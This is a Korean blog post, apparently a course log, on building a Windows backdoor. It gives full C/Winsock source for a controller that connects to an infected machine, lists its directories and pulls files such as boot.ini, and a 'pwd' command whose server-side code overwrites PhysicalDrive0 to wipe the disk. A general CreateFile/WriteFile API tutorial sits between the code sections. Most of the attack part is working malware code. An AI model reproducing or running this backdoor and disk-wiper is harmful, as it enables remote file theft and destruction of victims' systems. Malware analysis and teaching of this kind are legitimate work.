Saturday, December 29, 2018

Windows 악성코드 제작 및 분석_3

2018-12-05

Back Door를
연결하는 명령어 삽입

명령어 : dir', 'get', 'save'


  • dir : command 로 연결된 포트를 이용하여 c:\의 파일목록을 읽음
  • get : dir로 읽어진 파일목록중 파일을 읽고 저장
  • save : 원하는 파일명으로 저장

  • Client의 소스코드
    • 명령어 'dir'

// backdoor_for_hacker.cpp#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")
SOCKET tcp_sock;
void CmdBack(){   char cmd[20], arg1[255], tcmd[280], buf[1000];   int retval;      do{       printf("Input Command(to backdoor): ");      scanf("%s %s", cmd,arg1);          if(strcmp(cmd,"close")==0){          closesocket(tcp_sock);          break;          }  if(strcmp(cmd,"dir")==0) { //dir 명령어 wsprintf(tcmd,"%s %s",cmd,arg1); //totalcmd(변수) printf  내용을 넣어준다 retval = send(tcp_sock,tcmd,strlen(tcmd),0);     if(retval==SOCKET_ERROR) printf("Send Command Error\n");        else {        printf("Send Command OK\n");        retval=recv(tcp_sock, buf, sizeof(buf),0);        buf[retval]='\0';        printf("===File List===\n");        printf("%s\n", buf);        }
 }     }while(TRUE);}
int ConnBack() { //백도어 연결 함수   int retval;   WSADATA wsa;   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;   char back_ip[16];   int back_port;   printf("Input Backdoor IP address: ");   scanf("%s", back_ip);   printf("Input Backdoor Port number: ");   scanf("%d", &back_port);
   tcp_sock = socket(AF_INET, SOCK_STREAM, 0);   SOCKADDR_IN servaddr;   ZeroMemory(&servaddr, sizeof(servaddr));   servaddr.sin_family = AF_INET;   servaddr.sin_port = htons(back_port);   servaddr.sin_addr.s_addr = inet_addr(back_ip);   int retry_cnt=0;      do{      Sleep(1000);      retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));      retry_cnt++;      }while(retval==SOCKET_ERROR && retry_cnt <= 3 );   return retval;}
int main(void) {while(TRUE){   char cmd[20];   printf("Input command(help for Manual): ");   scanf("%s", cmd);      if(strcmp(cmd, "help")==0){ // help        printf("help for manual\n");        printf("connect for Connect to Backer\n");        printf("close Backdoor connection\n");       }         else if(strcmp(cmd, "connect")==0){ //connect            int result=ConnBack();            if(result == -1) printf("Fail to Connect!!\n");         else if(result == 0){            printf("Success Connect!!\n");            CmdBack();         }          }} 
}


결과



  • 문제 1. 일회성(1회이상 검색이 안된다)
  • 문제 2. 하위폴더의 목록은 나타내지 못한다.



  • 문제2. 해결

list1  사이즈를 5000으로 할당하였으나 
디렉토리리스트의 양이  이상일 경우 overflow될수 있어
동적할당을 주어 유연하게 만듬



  • 문제2. 결과


파일 목록이 전부 다 나옴





  •  문제1. 해결


[ Server의 소스코드 ]
while문의 반복하도록 함수를 삽입
while(True){}



  • 문제1. 결과





























Windows 함수들


  • CreateFile 예제1

    • 파일에 내용을 쓰기 목적으로 열기
    • 다른 프로세스가 열어서 읽는 것까지는 허용
    • 파일 없으면 만들어서 열고 있으면 실패
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("c:\\test.txt",GENERIC_WRITE, FILE_SHARE_READ, NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

  • CreateFile 예제2

    • 파일이 있으면 열고 없으면 새로 만들어서 열기
    • 파일에 내용을 읽기 목적으로 열기
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ, NULL ,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);

  • CreateFile 예제3

    • 파일이 있으면 열고 없으면 실패
    • 함수 사용 예제
HANDLE hFile;
hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_WRITE, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);

  • 파일 읽기 (파일의  처음 부분부터 읽기)

    • test.txt 파일을 없으면 만들고 있으면 덮어씌워서라도 열어라.
    • 읽기 위해서
    • 다른 사람 읽는 것까지는 허용
    • 일반 파일 속성으로...
    • 함수 사용 예제
DWORD rbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
ReadFile(hFile,buff,sizeof(buff),&rbytes,NULL);

  • 파일 읽기 원하는 위치부터 읽기

    • 파일의 첫부분에서 100바이트 뒤부터 읽기
    • 함수 사용 예제
DWORD rbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_READ, FILE_SHARE_READ,
                     NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 100, NULL, FILE_BEGIN);
ReadFile(hFile, buff, sizeof(buff), &rbytes, NULL);

  • 파일 첫부분부터 기록하기

    • 파일을 열고나서 SetFilePointer함수를 사용하지 않고 바로 WriteFile을 사용하면 파일  부분부터 기록한다.
    • 함수 사용 예제
DWORD wbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);

  • 파일 내용 추가

    • 파일의 뒤에 내용 추가하기
    • SetFilePointer  WriteFile 함께 사용
    • 함수 사용 예제
DWORD wbytes;
char buff[100];
HANDLE hFile = CreateFile("test.txt",GENERIC_WRITE, FILE_SHARE_READ,
                     NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, buff, sizeof(buff), &wBytes, NULL);
CloseHandle(hFile);
  • 파일 삭제
    • 파일 삭제하기
    • 함수 사용 예제
    DeleteFile("text.txt");



    • 명령어 'get'

[ 소스코드 추가 ]
CreateFile , WriteFile 함수 사용
'dir' 명령어로 읽어들인 파일리스트를
'get' 명령어로 파일목록 중에서 하나의 파일내용을 저장


실행
"boot.ini" 파일을 읽고
ayoungzzang.ini로 만들기(저장하기)

성공!


    • 하드파괴하는 명령어 'pwd'
      • 소스코드 추가

if(strcmp(cmd, "pwd")==0){    char trash[512];    int i=0,ret;    DWORD dwWrite;    ZeroMemory(trash,sizeof(trash));    HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0",       // OS 보통 0 HDD 설치되어 있음    GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,                      OPEN_EXISTING, 0, NULL);        for(i=1 ; i<=1000 ; i++) {        ret=WriteFile(hDevice, trash, sizeof(trash), &dwWrite, NULL);          }}


  • 전체소스코드
// backdoor_for_hacker.cpp
#include<winsock2.h>#include<stdlib.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")SOCKET tcp_sock;void CmdBack(){   char cmd[20], arg1[255], tcmd[280], buf[5000];   int retval;   do{      printf("Input Command(to backdoor): ");      scanf("%s %s", cmd, arg1);      if(strcmp(cmd,"close")==0){         closesocket(tcp_sock);         break;      }      if(strcmp(cmd,"dir")==0){         wsprintf(tcmd,"%s %s",cmd, arg1);         retval = send(tcp_sock, tcmd, strlen(tcmd), 0);                 if(retval == SOCKET_ERROR) printf("Send Command Error!!\n");         else {            printf("Send Command OK~!!\n");            retval = recv(tcp_sock, buf, sizeof(buf), 0);            buf[retval]='\0';            printf("===파일 목록 출력===\n");            printf("%s\n", buf);         }      }      if(strcmp(cmd, "get")==0){         wsprintf(tcmd,"%s %s",cmd, arg1);         retval = send(tcp_sock, tcmd, strlen(tcmd), 0);                 if(retval == SOCKET_ERROR) printf("Send Command Error!!\n");         else {            printf("Send Command OK~!!\n");            retval = recv(tcp_sock, buf, sizeof(buf), 0);            buf[retval]='\0';            printf("Input File name to Save: ");            char fname[255];            scanf("%s", fname);            HANDLE hFile;            hFile = CreateFile(fname, GENERIC_WRITE, FILE_SHARE_READ,               NULL,CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);            DWORD wBytes;            BOOL ret=WriteFile(hFile, buf, retval, &wBytes, NULL);                 }            } if(strcmp(cmd, "pwd")==0){      retval =send(tcp_sock, "pwd", 3, 0);      if(retval == SOCKET_ERROR) printf("Send Error!\n");      else printf("당신의 하드는 이제 날라갑니다!!!!!\n");     }   }while(TRUE);}int ConnBack() { //백도어 연결 함수   int retval;   WSADATA wsa;   if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return -1;   char back_ip[16];   int back_port;   printf("Input Backdoor IP address: ");   scanf("%s", back_ip);   printf("Input Backdoor Port number: ");   scanf("%d", &back_port);   tcp_sock = socket(AF_INET, SOCK_STREAM, 0);   SOCKADDR_IN servaddr;   ZeroMemory(&servaddr, sizeof(servaddr));   servaddr.sin_family = AF_INET;   servaddr.sin_port = htons(back_port);   servaddr.sin_addr.s_addr = inet_addr(back_ip);   int retry_cnt=0;   do{      Sleep(1000);      retval = connect(tcp_sock, (SOCKADDR *)&servaddr, sizeof(servaddr));      retry_cnt++;   }while(retval==SOCKET_ERROR && retry_cnt <= 3 );   return retval;}int main(void) {while(TRUE){   char cmd[20];   printf("Input command(help for Manual): ");   scanf("%s", cmd);   if(strcmp(cmd, "help")==0){      printf("help for manual\n");      printf("connect for Connect to Backer\n");      printf("close Backdoor connection\n");   }   else if(strcmp(cmd, "connect")==0){      int result=ConnBack();      if(result == -1) printf("Fail to Connect!!\n");      else if(result == 0){         printf("Success Connect!!\n");         CmdBack();      }   }} return 0;}



[ pwd 실행 ]
서버 리부트




No comments:

Post a Comment

List

MobSF

MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...